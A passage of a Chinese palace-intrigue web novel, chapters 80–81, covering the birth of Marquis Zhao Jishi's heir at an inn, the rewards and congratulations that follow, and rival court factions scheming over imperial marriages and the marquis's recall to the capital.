帝王想多扶持人手,那也得合适。 万事,在帝王眼中,就用了合适二字。 第80章 在客栈的后宅里,万珍珠在产房内生孩子。 头一回生孩子是什么感觉?万珍珠感觉想死。 哪怕产婆在旁边一直劝着万珍珠,让她调整节奏。 可那等磨人的痛楚还是让万珍珠一些遭不住。 “夫人,吸气。” “吐气……” “使力。” “对,使力。” 产婆的话在万珍珠的耳边想。万珍珠很痛,痛的想揍人。 虽然她自己更像是挨了命运的重击。 在产房外,赵济世一直在守着。 一直等了多久?赵济世自己都没有注意到。 等着产房内传来了婴儿的啼哭声。赵济世觉得胸口压着的着急 ,这会儿像是等到了一个结果。 产房内。 “哇哇哇……”小婴儿的啼哭声传来。 万珍珠只感觉整个人像是从水里捞出来的一样。 浑身上下,早已经被汗湿透了。 痛楚,这简直二字都不能形容万珍珠的感受。 至于真正生下孩子的那熬一刻。这一刻的万珍珠像是忘记了。 就像是脑子故意的,在那一刻断片了。 这会儿的产房内,两个产婆在忙碌一着。 一人收拾了刚出生的小婴儿,一人在替万珍珠这一个产妇仔细的收拾一番。 小婴儿要剪掉脐带。产妇要排了胎盘。 这些后续的事情,两个产婆早干了差不几十回。 二人是熟门熟路的很。 等着小婴儿被收拾好,这孩子被一个小小的襁褓包裹着。 “恭喜夫人,贺喜夫人。” 产婆抱着小婴儿上前道喜。明明身子遭罪了,很难受,很难受。 万珍珠还是强打起精神,她就想瞧一眼自己生的孩子。 “您生下一位小世子。”产婆开开心心的报喜。 侯府后继有人,这接收的产婆自然是遇着喜事。毕竟母子平安。 新唐侯这等家大业大的,一旦遇上这等喜事。产婆只会得了重赏,重重的赏赐。 这世道,谁还嫌弃钱多咬手不成? 不会的。人人只恨自己的家财太少。家业越多,越是心头踏实。 “来,让我仔细瞧一瞧孩子。”万珍珠想瞧孩子。 产婆听话,忙抱着小襁褓,凑得更近些。让躺了榻上的万珍珠仔细的瞧一瞧孩子。 “……”万珍珠本来想夸一夸孩子。 做为亲娘,万珍珠对于新生儿咋样,她有心里准备的。 只是等着真见到,万珍珠还是遭不住。 “他真丑。”万珍珠吐槽一句。 真不是万珍珠想这般讲,实在是刚降生的孩子太丑了。 皱巴的难看,一个小老头。 那没毛的模样,真像一只皱巴的无毛小猴子,要多丑,有多丑。 谁让万珍珠爱颜,她就好一口颜值。 哪怕是亲儿子,太丑了,还是让亲娘吐槽一回。 “夫人,小世子不丑。小世子的模样可俊了。”产婆忙讲道。 对于产婆的睁眼说瞎话,万珍珠不想吐槽。 “真不是婆子瞎说,刚降生的孩子还没有张开。等过些时日,夫人您再瞧,这小世子一定讨喜的很。” 产婆捡着好话讲一讲。 “对,对。殿下,小世子眉眼像极了侯爷。夫人,您多次夸了侯爷俊朗无双。小世子像极了侯爷,将来必然也是美男子。” 万嬷嬷一直守了产房内,守在万珍珠这一个主子跟前。此时的万嬷嬷也跟着产婆一样夸了话。 可能是心里作用吧。听着身边人都如此讲。 万珍珠再瞧一瞧孩子,可能也是瞧着一些眉眼。 “这孩子像他爹,太好不过了。”万珍珠盼着孩子像爹。 真是小一号的夫君模样,那俊俏的,也能让万珍珠觉着秀色可餐,吃饭备香。 “嬷嬷,抱了孩子出去,让孩子爹瞧一瞧。安他的心思。” 万珍珠挤了一抹笑容,吩咐一回话。 身子很受,万珍珠交代几句话后,又道:“我累了,我先睡会了。” 万珍珠这会儿放空脑子,不想旁的。她真的消耗了太多的精力。 这等时候只想睡一睡。 至于一个产妇,让身边的替她收拾一番什么的。 万珍珠是感受不到的。 因为整个人不论的身体,还是精神都是乏了。对外界缺少一点感知。 产房外。 瞧着门被打开,嬷嬷抱着小婴儿走出来。 “恭喜侯爷,贺喜侯爷,夫人诞下一位小世子。” 嬷嬷双手捧着孩子,恭敬的呈于新唐侯赵济世的跟前。 赵济世小心的抱起孩子,他抱在怀中。他整个人有一点点的僵硬。 小小的婴儿,在高大的赵济世跟前显得那般的小。 这孩子很丑。 这是当爹的第一印象。可听着产婆讲,说这孩子眉眼像他。 赵济世真瞅一瞅,又觉得,好像是这么一回事。 “侯爷,您这姿势,得换一换。” “……” “对,就这样。”嬷嬷小心的指证一二新唐侯抱孩子的小专业。 本来小婴儿被亲爹抱着,还是砸巴一下小嘴巴,似乎想哼哼叽叽。 可等着亲爹换一换姿势后,他又闭了小嘴巴,似乎香甜的睡着。 抱着孩子,赵济世往产房里去。 这会儿的产房已经收拾妥当,毕竟真没收拾妥当,也不会打开了产房的门。 赵济世进屋里,他见到熟睡的妻子。 赵济世小心翼翼的把孩子搁进了小摇篮里。 赵济世坐于榻前,他瞧着睡熟的妻子。 “去,请府医进屋里替夫人把脉,替小世子把脉。”赵济世小声的跟万嬷嬷交代话道。 “唯。”万嬷嬷恭敬的应一句。 又过片刻,府医进屋里。 赵济世不在意府医的行礼,摆摆手,示意府医给妻儿请了平安脉相。 得侯爷吩咐,府医当然不推辞。 一切很好,在府医请过平安脉后,赵济世大大的松一口气。 妻儿平安无恙,这对于赵济世而言,此,便是最好的消息。 望着妻儿,赵济世很高兴。 于是他又开口,重赏诸人。不止在场的众人得厚赏。 不在场的,赵济世也是吩咐下去,一一加赏。 只赵济世心头有一点可惜,这一回生了孩子,不在府里。 而是落脚于客栈内。 倒底格调低了一些。这让赵济世替妻儿惋惜。 他觉得委屈了妻儿。 没奈何,如今的节度使府邸里住着帝王。赵济世是臣子,这臣子嘛,替帝王委屈一二,只能算本份。 不过得了嫡长子,赵济世也是安排一番。 给诸亲送信,同时,不举办洗三宴一事,一一差人传达。 这在客栈里住着,洗三宴,办不办的。在赵济世心里有章程。 洗三宴不办。对于赵济世而言省一桩心事。 没得太招摇。 除此外,还有写了家书。大晋镐京都的岳丈大人,岳母大人那儿,也得去了家书告知二老添了外孙的喜讯。 除此外,燕京都的诸结义兄弟们也得一一去信告知。 让兄弟们 知道添了大侄子。 除此外,草原那一边也得去信。赵济世跟挛鞮一族定下婚约。 那一位草原明珠,年三岁的挛鞮明珠有了一个名义上的未婚夫。 至于节度使府邸那一边,赵济世也得禀报消息。 自家添丁,当然是喜讯。 可这等事情,还没到了一一汇报于天子的地步。 奈何马小莲是义妹,赵济世添子,也应该告知一二的。 北镇,节度使府邸内。 马小莲得了全公公差人告知的消息,她知道嫂嫂万氏生下了大侄子。 “太好了。”马小莲还替嫂嫂和赵大哥开心一回。 马小莲可知道,燕京都的兄长们一直担忧赵大哥的子嗣问题。 如今的新唐侯府不缺了继承人,有了大侄子承家业。 马小莲真的开心。 “我还得给大侄子备了洗三礼。”马小莲做为姑母。 马小莲可太想送礼了。 只是送礼归送礼,不能去参加了大侄子的洗三宴。 马小莲很遗憾。 在马小莲遗憾的时候,正院内,帝王听着心腹太监的禀话。 “赵爱卿好福气。后继有人。”承顺帝夸一回。 “朕也当赏了新唐侯府的未来继承人。”承顺帝吩咐一回,让全公公安排此事。 全公公得了帝王差遣,自然应下。 此时的帝王想了片刻,又提步,往马美人住的宅子而去。 马小莲见到了帝王。她是帝王的嫔妃,见一见帝王不稀罕。 对于承顺帝,马小莲是害怕的。虽然她不说,可她心底害怕。 做了嫔妃,没侍过寝。 马小莲哪怕知道了侍寝的规矩。可她就是没侍寝过。 帝王不碰她。 这事情马小莲压心底,她提,那都不敢多提一个字眼。 为什么?原由在哪? 马小莲是不敢问的。 有些话只能压心底,马小莲不止一次的后悔,她为何要回一趟节度使府邸。 当时的自己脑子进水了,糊涂了。 可惜,一切皆成过往。应该发生的,不应该发生的,全成定数。 帝王一言,决断她的一生前程。这是马小莲的真实感受与想法。 至于叫了委屈? 马小莲不敢的。因为马小莲有亲人,她怕,她真的表现了委屈,还是连累了亲人们。 心有顾忌,马小莲不敢任性妄为。 毕竟前面的结果,已经表现了马小莲任性一次的后果是什么。 那便是掉进泥潭里,想爬出去,没有可能。 陷进帝王的后宫,马小莲认命了。 “恭请陛下圣安。” “免礼,平身。” 帝妃二人的态度,不像是枕边人的模样。事实上,二人也不是枕边人。 可能共枕过,可也是单纯的睡觉。没干旁的什么。 “新唐侯夫人诞下嫡子。爱妃,你乃是新唐侯的义妹。若你有心,也可多赠一二贺礼。” 在一点子钱财等外物上,承顺帝还是很大方的。 这不,承顺帝来的目的,那就是让马小莲给新唐侯的世子多赏赐一番。 得了好处的事情,马小莲更不拒绝了。只连连感谢圣恩。 背后原由是什么?依着马小莲想来,必是兄长们在帝王跟前有体面。 除此外,马小莲想不到旁的原由。 北镇,如今最大的一桩事情,自然便是新唐侯添子。 尔后,承顺帝重赏。 承顺帝赏了,承顺帝的嫔妃马美人也送礼了。 这一位马美人在诸人的脑海里,也是冒头一回。 司徒宅。 杨司马在书房里不开心。明明他起心思,也想给天子献美。 结果落后一步,让新唐侯拔了头筹。 同样的事情,头一个干的,跟后面添彩的,那是两码子事情。 这时候的杨司马很不开心。 倒是后宅里,司徒静娘在知道此事时,她的神色淡淡。 梁氏做为嫂嫂,她不知道如何劝小姑子。 或者说梁氏也为难的很。 谁让公爹和小姑子,这一对父女貌似不是一条心。 偏生这些发现,梁氏还不敢跟丈夫讲。 因为打从嫁进司徒宅这些年里,梁氏已经发生了。 她的丈夫不靠谱。 对于梁氏而言,她这一辈子的指望嘛,全在儿子杨承宗的身上。 “嫂嫂。”司徒静娘瞧着嫂嫂的神情,她不为难嫂嫂。 在娘家这些年,司徒静娘也明白。家中大小事宜,嫂嫂就是拿了帐本办事的。 真管着大帐小帐的,一应安排,谁来定夺。从来轮不到嫂嫂多话发言。 “我们姑嫂之间,没什么恩怨的。”司徒静娘淡然了。 “……”梁氏的神情嘛,她也是无可奈何。 “静娘,爹的心思,怕是没变。”梁氏小心的提醒了小姑子一回。 “我知道。”司徒静娘有眼睛。 “有一位马美人的出现,爹的想法,我自然知道的。肯定是不希望就一位美人专美于前。” 司徒静娘的心底平静无波。 一旦亲爹定了主意,司徒静娘能怎么办? 父母命,她一个做女儿的如何拒绝? 没人替她撑腰啊。便是亲娘,也是躺在榻上,全靠爹的一席话调养着。 哥哥,司徒静娘更不抱希望。这一位兄长从来不做主。 这有一个哥哥,跟没一个哥哥,于司徒静娘而言,无甚的区别。 北镇,节度使府邸。 在新唐侯的儿子不洗三的消息传开后,风平浪静。 北镇,客栈内。 万珍珠醒来,醒来后,只一个感觉,饿,饿的烧心。 万珍珠先用了吃食,垫一垫肚子后。万珍珠喂好了胃。 尔后,万珍珠就是关心了自家的娃。 “夫君,可瞧过孩子了?”万珍珠问道。 “瞧过,他这会儿还睡熟着。”赵济世笑道:“珍珠妹妹可要瞧一瞧我们的孩子?” “小孩儿睡着了,就让他多睡会儿。不闹醒他,免得嚷嚷哭喊了,也怕伤着小嗓子。”万珍珠嗔怪一回。 “全依珍珠妹妹的意思。”赵济世赞同一回。 “对了,济世哥哥,你做爹的,可替孩子想好了起名的事儿?”万珍珠笑问道。 明明身上还疼。可万珍珠觉得,貌似忍一忍吧。 毕竟真喊疼,万珍珠还要蕴酿一下情绪。 她怕喊疼时,表情不到位,那是太丑了。 万珍珠很怕丑,她只想美美的。不止入眼皆是美如画。 哪怕是自个,万珍珠也想也了一幅名画,美姿态,总是悦人悦己着。 “只养好了小名,叫安康。济世安康的安康,平安健康的安康。”赵济世说了小名的喻意。 “济世安康,平安健康。”万珍珠念叨一回孩子他爹对于孩子的期待。 “很好的名字。”万珍珠赞同一回。 “珍珠妹妹觉得好,那说明这名字,我没起错。”赵济世开心的笑一场。 “对了,妹妹睡一觉。就这些时候,还有好些人送了重礼。” 赵济世略略点名一回。当然,免不得提一嘴马小莲。 “待我出了月子,一定请示了上意,想法子见一见二妹妹。”万珍珠表明了态度。 对于马小莲的前程,万珍珠心头捏一把汗的。 自古宫廷不好混啊。 “到时候珍珠妹妹多带一些贴用给二妹妹吧。这是我们做兄长嫂嫂的心意。在宫廷内苑,能花银子解决的事情,总归是大多数。” 赵济世在底层厮混了许多年。他很知道的,甭管上层,还是底层。 钱财乃庶政之母,没钱,窝囊废。有钱,英雄汉。 “好。”万珍珠同意了夫君的意思。 能补贴了马小莲一位二妹妹,万珍珠没意见。 钱财,银子,挣来的就是花用。 把花用,那是花在刀尖尖上,那准没错。 马小莲这一位妹妹凑到帝王跟前,这也是替自家多添一条有脉关系。 有了关系,当然得维护了。两边双赢的事情,更得维系好。 万珍珠懂这一个道理。不拒绝花钱办事儿。 哪怕是自家人,也不能吝啬了。 毕竟对外人,那都要明码标价,不让人吃亏。更何况是自家人,更应该温馨三分,支持七分。 大晋朝,镐京都,内城,浑江公主府。 万忠良一归来,忙给妻子念了女儿的家书。 “好,好。好外孙。”牛二囡太高兴了。 一听着丈夫念的家书上写了,女儿生下小外孙。 还说小外孙降生时,五斤五两。 牛二囡连连点头,只要女儿和外孙平平安安,健健康康,牛二囡感激漫天神佛,感激了祖宗。 “安康,这真是一个好名字。”念着小外孙的小名,牛二囡的神情激动。 “闺女有福。”万忠良也开兴。 不止高兴了外孙的降世,也是高兴着,女儿和外孙皆平安。 夫妻二人议一议,当然是说了给女儿、外孙备了重礼的事情。 对于多搬亿点点家财去大赵朝给闺女和外孙。万忠良一点不心疼的。 万忠良这时候心情太好。当然,免不得也有人是注意着他这一位万内相。 镐京都,宫廷内苑,昭阳宫。 李皇后听着李嬷嬷的禀话,她当然知道了东边的消息。 “万内相做了外祖父。倒是有福之人。”李皇后这一位大赵朝的和亲公主,瞧瞧,膝下无嗣。 李皇后也是觉得时光太长,颇为寂寥。 再说简单一点,李皇后也盼着有亲儿子的。 坐上了中宫宝座,李皇后的野心大了一点点。 如果可能的话,李皇后想做了母后皇太后和圣母皇太后,双料加诸自己。 奈何洪福帝病歪歪,李皇后哪怕想造小人儿。 可惜帝王不配合。 李皇后的万般功夫,那是没地儿使唤。 “嬷嬷,想一想法子。昭阳宫得跟万内相一边拉一拉干系。”李皇后吩咐道。 “禀皇后娘娘,下面人一直在办事。”李嬷嬷为难的神情。 “只是万内相那一边,也是进展颇慢一点。”李嬷嬷当然不能说下面尽数是酒囊饭袋。 万内相不掺合宫廷内苑,这是大家伙皆知的事情。 万内相是天子心腹,那得了天子信任即可。 谁还敢跟万内相咋忽不成?至少,目前没这般的傻子、愣子。 哪怕是李皇后,那也是想跟万内相通通气,暗中联络一二的。 昭阳宫里,李皇后起心,早在筹谋的。 在浑江公府里。 在给亲闺女和外孙挑好贺礼后。万忠良跟妻子又讲一点注意的事情。 “往后,府上可以跟皇后娘娘那一边凑近些。” 万忠良笑道:“陛下开恩呐,还是皇后娘娘提的谏言。要给夫人请了诰命。” “……”牛二囡心底开心。 若能得诰命,牛二囡一辈子都盼着。 原来没有诰命,不过是因着女儿罢了。 枕边人可给牛二囡讲过的。自家的后宅,简拔一人即可。 都是得了圣恩,太招眼了。 那时候的牛二囡一心一意,只想女儿的将来日子更好过。 那当然,这同时也是夫君的意思。 于是夫妻有默契,这天家的恩典给了女儿头上。 如今闺女远嫁了,公主府里,夫妻二人相伴过日子。 李皇后示意,万忠良准备给一点点的回应。 “往常,夫君不是说不掺合宫廷内苑里,娘娘们的那一些事情吗?”牛二囡小声的问道。 “这一回,不一样。”万忠良讲道:“皇后娘娘是陛下的妻,是母仪天下的中宫。” 当然,万忠良还有话没讲。这也是天子默许的。 毕竟朝堂上,荣恩伯府在崛起,简郡王也是被帝王简拔起来用一用。 这两极,在帝王的纵容下,那已经宣赫起来。 于是宫廷内苑里,李皇后这一边有一点弱势了。 这不,万忠良得了暗示,他可以跟昭阳宫走得更近一些。 三皇子嘛,帝王也是起心了。让万忠良一心护好。 同时,帝王还是准备给三皇子安排一桩姻缘。 皇家的姻缘,从来是利益为先的。洪福帝想干的事情,当然也是如此,论斤论两的卖了亲儿子。 一身安社稷,这便是联姻。不旁的,只为利益。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 大赵朝,北镇,节度使府邸。 承顺帝等到了燕京都的新消息。看过秘报后。 承顺帝感慨一回,道:“到底还是有人忍不住。” 有人跟太上皇凑合在一起挑事。承顺帝能怎么办? 当然是成全这些蠢货,送他们去死。 同时,承顺帝又看了关于北镇这一方面的秘报。 这不是头一回看。 承顺帝再看一回后,心头的想法还是一样。 新唐侯赵济世是的新贵,是他的心腹。 可这一位心腹在北镇的根本很深厚。当地拢络的人脉盘根错节。 虽如此,承顺帝还是默许了。堂堂显贵的侯爷,真没根基,那怎么可能? 勋贵无根基,拿什么在朝堂上立足。 如此,对于马美人,承顺帝起了心思。待回燕京都后,不妨给一二优容。 “只是新唐侯,在这北镇是不能继续待下去了。”承顺帝准备这一次回燕京都时,把新唐侯一家人也打包带回去。 往后,北镇的新节使度,也是换一换新人来坐位置。 北镇,客栈。 赵济世在逗儿子。当爹了的他,如今很当爹的欢喜。 哪怕多瞧一瞧睡着了小丑脸,赵济世也是开心一回,高兴一场。 “瞧瞧,这孩子的睡得真香。”赵济世指着小摇篮里的亲儿子,他跟坐月子的妻子讲道。 “小婴儿能吃能睡是好事儿。”万珍珠轻轻颔首。 夫妻二人这会儿的话题,那全围绕着小安康讲一讲。 谈起小孩儿的事情,万珍珠的精神非常不错。 不过,也没有聊太久。 赵济世顾及了妻子在坐月子,倒底没一直打扰。 陪一陪后,赵济世也是去忙碌一番自己的事情。 坐月子,对于万珍珠而言。旁的都好,就是不能沐浴,这很熬人。 至于说小孩儿的洗三宴不办?万珍珠觉得无妨。 反正嘛,这又不在自己家。在客栈里办洗三宴? 办不办的,真不重要。 只是免不得,也是替孩子遗憾一二。这不能办了洗三宴。 将来给小孩儿讲一讲过往时,倒少了一段经历。 大晋朝,镐京都,皇宫,泰和宫。 洪福帝瞧着身边的万大伴,他道:“大伴,皇后近日如何?” “禀陛下,皇后娘娘近日一切安泰。上上下下,尽是咸服。” 万忠良捡着好话讲。 “……”洪福帝静静听着。又过片刻后,洪福帝才道:“如此,摆驾。朕去一趟昭阳宫。” 帝王有吩咐,万忠良当然应承下。 待帝王御驾往昭阳宫去前,自然有传了消息的小黄门先跑一趟,先去告知一声。 这是让李皇后准备接驾。 此,也是万忠良给昭阳宫的体面。有准备,那跟没准备是两样的。 昭阳宫。 李皇后得了消息,差人赏了报信的小黄门。 尔后,李皇后唤了心腹,还是梳妆一翻,简单的整理一二仪容仪表。 士为知己者死,女为悦己者容。 李皇后有心,她还想在洪福帝跟前争取更多的体面。 于是也是有心梳妆。不在像当初了,当初未登后位。李皇后是懒散三分。 或者说是不乐意侍候。她本大赵公主,也有骄傲的。 如今嘛,心有念想,当然是乐意哄一哄洪福帝。 能在洪福帝争取多少好处,李皇后都开心。 白捡的便宜,不捡?那是白不捡。 待帝驾到时,李皇后在昭阳宫的宫门前恭迎圣驾。 瞧着李皇后的端庄仪态,洪福帝也是乐得配合上演一出帝后和睦的戏码。 此时此刻,帝王是搀扶着皇后,帝后一道相携走进昭阳宫的主殿内。 在大殿的主位上落坐。夫妻坐于一处,只瞧此刻,真像是一对眷侣。 “陛下,您请饮茶。”李皇后在宫上送上茶盏后,又是接过来,再亲自呈给帝王。 “好。”洪福帝不拒绝。 这会儿的帝王还是挥挥手,示意侍候诸宫人全退下。 得帝王示意,万忠良是领诸宫人一一告退离开。 殿内,剩下帝后二人。 李皇后惊讶一回,问道:“陛下此举,可是有什么要事交代吗?” 若不然,帝王何必避讳于谁?反正李皇后就这么一个想法。 “有事想与皇后商议。”洪福帝赞同一回。 “皇儿尚小,可朕有心,准备替皇后择妻。”洪福帝很不放心了亲儿子。 帝王觉得龙体越来越差。那怎么办?当然是替亲儿子寻了更多的根基。 “朕有一二打算。”洪福帝的目光落李皇后脸上 。 “要么,替皇儿挑了世家世族的名门淑媛为妻。年岁大皇儿几许,也是无妨。先订亲,将来再大婚。” 如此,帝王就是替儿子先揽了一门妻族。 洪福帝替皇子揽了妻族,这还不够。帝王还得考量一二李皇后的态度。 “其二,便是大晋、大赵再结秦晋之好。”洪福帝笑道:“让皇后的侄女做儿媳,如何?” 问李皇后什么想法? 李皇后肯定更乐意侄女做儿媳。侄女身上,也跟李皇后有血脉相连的干系。 真是选择了大晋朝的世家世族嫡女,跟李皇后没干系。 李皇后一个异国公主做了未来的新君嫡母,这真安稳吗? 旁人不知道如何想法,反正李皇后的心底不踏实的很。 “陛下,您肯定更中意了皇儿迎娶一位世家世族的名门淑媛吧。”李皇后点名了第一个选择。 “皇后,你又选择一,还是选择二?”洪福帝问皇后。 “全凭陛下定夺。”李皇后笑道:“皇儿是陛下唯一儿子,您最心疼皇儿。” “本宫做嫡母的,荣辱在皇家。自是也盼着皇儿好。”李皇后不明言她的想法与选择。 奈何帝王的目光太灼灼。李皇后见避不开。于是她讲道:“可问本心,若能得一侄妇为儿媳,我自然是极欢喜的。” “皇后坦诚,非为虚言。”洪福帝收回灼灼目光。 “在陛下跟前,我岂能讲了假话。”李皇后讲假话嘛,她觉得没意义。 因为真讲了,太假了,谁信啊。 搁李皇后身上,反正她不信一切假大空的套话。 “皇后之言,朕会考量。”洪福帝的态度还是含糊。 或者说帝王还在衡量。一时半会儿的,帝王拿不定主意。 朝堂内外,形成新的铁三角。 在李皇后这一角,太弱了。帝王准备让万大伴扶持一二。 可比较起来,还是李皇后这一角弱了。因为李皇后在大晋没有扎实的根基。 哪怕是三皇子呢,他也是嫡子啊。他的生母是追封的仪贤皇后。 李皇后这一位继母,那在三皇子跟前的腰杆儿真不硬。 偏生洪福帝是盼着李皇后掌了内宫,同时,还要护了三皇子。 这里面的衡量就多着。因为李皇后嘛,同时也是治衡了荣恩伯府。 荣恩伯府是三皇子的母族。简亲王是宗室代表。 里面的圈圈绕绕,帝王在平衡。 至于再给三皇子添一个世家世族的妻族? 洪福帝担忧破坏了如今的平衡。 帝王来一趟,尔后,离开了。 可谓是一波扰乱了李皇后的心绪。待洪福帝离开后,李皇后就在发呆。 “皇后娘娘,到用膳的时辰了。”陪嫁李嬷嬷小心的提醒一回。 可不敢让皇后娘娘饿着,那不是陪嫁的失职嘛。 “这就到用膳的时辰了?时间过的真快。”李皇后感慨一回。 同时,这会儿的李皇后在心底坚定了一个念头。 必需得让亲侄女嫁来大赵朝。 下一任新君的皇后若跟她这一位未来的皇太后不是一条心。 那如何能成? 反正不是亲侄女做儿媳妇,李皇后觉得睡觉真不安心。 李皇后准备定家书回燕京都,她得催一催皇兄。 若可能,这等碰上门的好事,让皇兄做了未来的大晋岳丈。 这等机会可不能拱手让人。 大赵朝,北镇。 对于万珍珠而言,坐月子的时光太难熬。 好在,总算是熬过去了。 在自家小安康满月的好日子里,万珍珠也是坐足了月子。 于是出了月子的大事之日,万珍珠可是足足沐浴了三回。 整个从头到脚的大休整。万珍珠觉得人都轻飘飘了几分。 “咦……”望着镜中,又是梳妆过的自己。 万珍珠惊讶一回。 脸蛋儿似乎圆润了一些。眉眼间,也是多了几分温柔的感觉。 至于说坐月子里,万珍珠也是吃了一些苦头的。 没法子,生了孩子后,那总跟生孩子前有一些不一样的。 好在,新唐侯府不缺了请医女的月例银子。 如此,万珍珠在坐月子时,也是好好的调养。 不是吃一吃药膳,更是请医女施了功夫,让万珍珠是感受了一番对方真的能耐。 这不,腹部的情况恢复不错。至少身材嘛,可能圆润一些,更显丰盈。 却也不会累赘。一切显得恰恰好,又是健康无恙。 对于这等减了生孩子副作用的手段,万珍珠很惊讶。 至少从表面看来,这真真的利害啊。 哪怕要花了许多的好药材,这不止做了药膳。 更是在医女替万珍珠去了生产后各种碍难处时,便于外敷之用。 花钱嘛,有钱了,一旦花着效果好。万珍珠是不会吝啬的。 “胖了。”万珍珠感慨一回。 “珍珠妹妹哪里胖了?”赵济世这会儿抱着亲儿子进屋里。 一进来,便听着妻子的话,于是问一回。 “瞧瞧,脸胖了,身材胖了。”万珍珠指一指脸颊,指一指胸部。 赵济世的目光在妻子的胸口多停留几下。 “啊,啊……”小婴儿被亲爹抱着,这会儿啊啊几声。 赵济世赶紧的收回了在妻子身上的目光。赵济世哄一哄怀中的亲儿子。 对于丈夫的灼灼目光,万珍珠感受到了。 哄一哄亲儿子,赵济世哄好后。他的目光又落妻子的脸上。 “我瞧着如今这般的珍珠妹妹极美。” “济世哥哥是说,往常的我,不美了吗?”万珍珠反问一回。 “往昔也美,诱我心神。如今更美。”赵济世实话实说。 “妹妹这不叫腾,此为丰盈,更显诱人。”赵济世的目光在妻子身上多瞧几眼。 万珍珠走上前,在丈夫的腰间轻轻一拧。 “尽会哄人。”万珍珠嗔怪一回。 当然这会儿没生气,而是夫妻之间的打趣。 “来,我抱一抱安康。”万珍珠伸了手。 “好。”赵济世不拒绝。 这会儿抱着白白胖胖,像一团小糯米丸子一样可可爱爱的儿子。 万珍珠怎么瞧,怎么不够。 这时候张开的小婴儿,那越来越讨人欢喜。 落亲爹亲娘眼中,可谓是怎么看,怎么不够。 对于赵济世而言,年二十三岁的他。这才得了第一个孩子。 还是未来的继承人。这当然是特别是重要的一个孩子。 因为头一回当爹,感情投得很多很多。 “我家安康真俊。将来一定能哄了一个好媳妇。”万珍珠笑道。 “珍珠妹妹,安康定了婚约的。”赵济世小心的讲一回话道。 “……”万珍珠的目光落了夫君身上。 “济世哥哥,此话如何讲来?”万珍珠问道。 “……”赵济世尴尬一回。 关于小安康未来的媳妇人选一事。万珍珠是拷问一回夫君。 于是嘛,关于安康的满月宴那给没大办一事。 这一回倒是含糊了过去。 毕竟满月宴这一事,那再大,又哪能大得过未来的安康媳妇一事。 “侯爷,夫人,天使来了。” 在万珍珠拷问了夫君时,管事来报了大消息。 这会儿的万珍珠顾不得问一问儿媳妇的详情。 还是天使来了要紧。 于是夫妻和孩子一道去迎了天使,接一接圣旨。 天使前来,摆了香案,接了圣旨。 听罢圣旨,万珍珠闹明白了。真是一桩大事。 天子谕令。要班师回朝。同时,新唐侯也跟前回了燕京都。 因为新唐侯有了新的差遣。去兵部当差。 兵部,这是帝王给新唐侯赵济世的新位置。 当然,这不是赵济世的唯一官职。 这是明显的一个官职。赵济世还是差遣,在禁军里挂一个闲职。 这用意嘛,不是让赵济世继续掌兵权。而是让赵济世多一份俸禄补贴家用。 当然,也不止用来补贴了家用。而是提一提赵济世的官阶。 那兵部的左侍郎一职,倒底让帝 王觉得低了一点。 天使传了圣旨后,赵济世亲自感谢一回。 诸传旨而来的宫人,赵济世这一位新唐侯肯定不能让诸人空手而归。 多番打点,再三挽留,尔后,方是送客。 待客人走后。 赵济世揽了妻儿,一道先供了圣旨。尔后,再是一家子说一说掏心窝子的话。 这等时候的赵济世揽了妻儿坐于花厅。屋内,就一家三口,再无旁人。 “珍珠妹妹,瞧瞧,我们也算得苦心甘来,往后回燕京都去享一享繁华。”赵济世倒是挺高兴。 瞧一瞧,爵位晋升了。不止如此。还是多拿几个官帽子往头上带一带。 “不领兵权,济世哥哥不遗憾吗?”万珍珠问道。 “也不是就不沾了武事。”赵济世笑道:“我不还在禁军里当差了吗?” “嗯,也对,是我疏忽了。”万珍珠表示,她确实小瞧了夫君。 对于夫君的手腕能耐,万珍珠得相信。 哪怕是禁军里的闲职又如何?想当年,自家夫君是真混过禁军,还有人脉,还有旧情的。 这里面的事情,万珍珠不多问了。 问了,枕边人未来好讲。有些事情,不是想保密,不想跟枕边人讲。 而是事情嘛,好做不好说。说了,就不好听了。 “对了,济世哥哥。我们这一回燕京都,这未来的儿媳妇咋办?”万珍珠的目光落了夫君身上。 关乎儿子的终身大事,万珍珠很在意。 “……”赵济世尴尬。 “你可不能囫囵话,这一直哄了我吧?”万珍珠问道。 “安康将来的儿媳妇,多重要的人。这可是要生活一辈子的一家人。”万珍珠很在意了儿媳的人选。 不是万珍珠小性子,而是一辈子的大事。 想一想,儿子还在娘胎呢,那媳妇就给亲爹定下了。 万一,这很可能万一呢? 万珍珠很担忧了,万一儿子将来不喜欢儿媳妇可咋办? 夫妻成怨侣,这不是万珍珠想看到的事情。 可,这婚约定下来。 想反悔,那不可能的。真是反悔,那不是结亲家,那是结仇家。 甭管从利益上而言,还是从实际情况而言。 真跟挛鞮一族翻脸,对于赵济世而言,不划算的。 对于万珍珠而言,草原多这样一个仇人。往后北镇的商社咋办。那草原上的生意,还是做不做了? “这婚约定下了,珍珠妹妹,我是真心盼着安康娶一个贵女。明珠……”赵济世说一说未来的儿媳妇。 “明珠再大一些年岁,我可书信去挛鞮一族。请阏氏让他们二人早成婚。待成年后,再是圆房。” 婚事可早办,感情可早早培养嘛。 至于真的圆房生子,那不急,那可以缓一缓。 这是赵济世的态度。 在草原上,赵济世投了重注的。不为旁的,只为了拿下浑江郡的土地。 或者说,也不止如此。 赵济世还是想思了退路。 谁让承顺帝在干的一些事情,让赵济世发现了端倪。 新唐侯赵济世嘛,那觉得武官,哪怕做到鼎锋。 那又如何?总归是臣子。 君防范臣子一手,那么,臣子思了退路,也是防范君上一回。 在赵济世的心底,这真不是坏事。 反正赵济世就是干了这等事情,干的明明白白。 “你的盘算太精明了。”万珍珠轻轻摇头。 “既然要做了一家人。济世哥哥,这般做法,恐伤人心。”万珍珠听了夫君的详细打算后,轻轻摇头。 “珍珠妹妹太心软了。”赵济世感慨一回。 “济世哥哥,不是我心软。”万珍珠哄一哄怀中的亲儿子。 “我是觉得将心比心。真投了感情,才会得了真感情。” 万珍珠对于家人的念想是不一样的。儿媳妇也在万珍珠的家人范围内。 家人与外人,从来不是一回事。 “罢,依着妹妹的意思就是。”赵济世挣扎了。 赵济世准备按着珍珠妹妹的法子办事。 “只妹妹打算如何办?”赵济世问道。 “安康的满月宴也过了。我们给未来的儿媳妇寄些礼物吧。往后,书信不可少。”万珍珠笑道:“便是寻了合适的嬷嬷,也得请一请利害的教养嬷嬷。” “只这教养嬷嬷,想让儿媳和亲家接受。怕也是一桩不容易的事情。”万珍珠又是琢磨一回。 “不过,总会有法子的。时间也不着急。”万珍珠知道,挛鞮一族这一回吃了大亏。 这不,还是从夫君口中知道的。 